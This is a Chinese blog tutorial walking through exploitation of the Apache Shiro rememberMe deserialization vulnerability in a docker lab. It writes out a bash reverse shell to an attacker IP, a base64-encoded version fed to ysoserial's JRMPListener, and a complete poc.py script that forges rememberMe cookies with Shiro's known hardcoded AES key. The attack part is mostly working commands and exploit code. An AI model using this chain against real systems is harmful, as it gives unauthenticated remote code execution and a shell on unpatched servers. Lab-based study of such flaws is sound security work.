Shiro反序列化漏洞【详细解析】

最新推荐文章于 2024-09-13 20:56:37 发布

m0_67392126

最新推荐文章于 2024-09-13 20:56:37 发布

阅读量1.5k

点赞数 2

分类专栏： java 文章标签： mysql hdfs debian

本文链接：https://blog.csdn.net/m0_67392126/article/details/126596239

版权

java 专栏收录该内容

273 篇文章 5 订阅

订阅专栏

Shiro是什么东西

Shiro 是 Java 的一个安全框架，执行身份验证、授权、密码、会话管理
shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

原理解释https://www.freebuf.com/vuls/178014.html

什么是硬编码：
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改，以便最终用户可以通过程序外的某种方式更改细节。

漏洞位置

http 请求包 cookie 中的 rememberMe 参数。
该漏洞对shiro<=1.2.4的版本有影响。

攻击流程图

环境搭建

靶机：192.168.43.132
攻击机：192.168.43.131

获取docker镜像
```
docker pull medicean/vulapps:s_shiro_1
```
重启docker
```
systemctl restart docker
```

启动docker镜像：

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问： http://192.168.43.132:8081 / 环境搭建成功

下载工具

ysoserial的jar文件

依次执行以下命令（jar的文件名要和脚本中的一样，文件要和脚本在同一目录下）

git clone https://github.com/frohoff/ysoserial.git

cd ysoserial

mvn package -DskipTests

出现了特殊问题

如果出现一下情况的话，是没有安装maven的。【解决mvn command not found：下一个就好了】

解决：mvn command not found

linux安装maven

转载：https://www.cnblogs.com/yuexiaoyun/articles/13033946.html

1、安装 wget 命令:

yum -y install wget

【如果提示yum command not found的话，别理他，这是安装wget命令，一般我们的都已经安装好了】

2、下载maven安装包

wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz

3.解压maven安装包

tar -zxvf apache-maven-3.5.4-bin.tar.gz

4.配置maven:

vim /etc/profile

在配置文件配置中加上：

export MAVEN_HOME=/root/apache-maven-3.5.4 （这个目录换成你的 maven 解压后的文件所在目录）

export PATH= $MAVEN\_HOME/bin:$ PATH

让文件生效，刷新配置文件：

source /etc/profile

5.查看maven 版本：

mvn -version

或者

mvn -v

现在的话mvn已经可以在/etc/profile这个文件里面操作。

关键要在source /etc/profile里面进入ysoserial这个目录

cd ysoserial

mvn package -DskipTests

这样就可以了

现在就解决了mvn command not found的情况。

制作反弹shell 代码

使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

转载：http://www.jackson-t.ca/runtime-exec-payloads.html

攻击机：192.168.43.131

bash -i >& /dev/tcp/192.168.43.131/999 0>&1

999端口是监听反弹端口(nc -lvnp 999)

使用ysoserial中JRMP监听模块，监听1001端口

攻击机：192.168.43.131 中执行命令：

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMS85OTkgMD4mMQ==}|{base64,-d}|{bash,-i}’

【 ’ ’ 里面的是刚刚bash编码】

一定要进入ysoserial的target里面，因为要用到target里面的ysoserial-0.0.6-SNAPSHOT-all.jar

使用poc.py 生成Payload

在攻击机：192.168.43.131 中生成rememberMe

python poc.py 192.168.43.131:1001

【把poc.py也放在/ysoserial/target里面执行】

poc.py代码

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())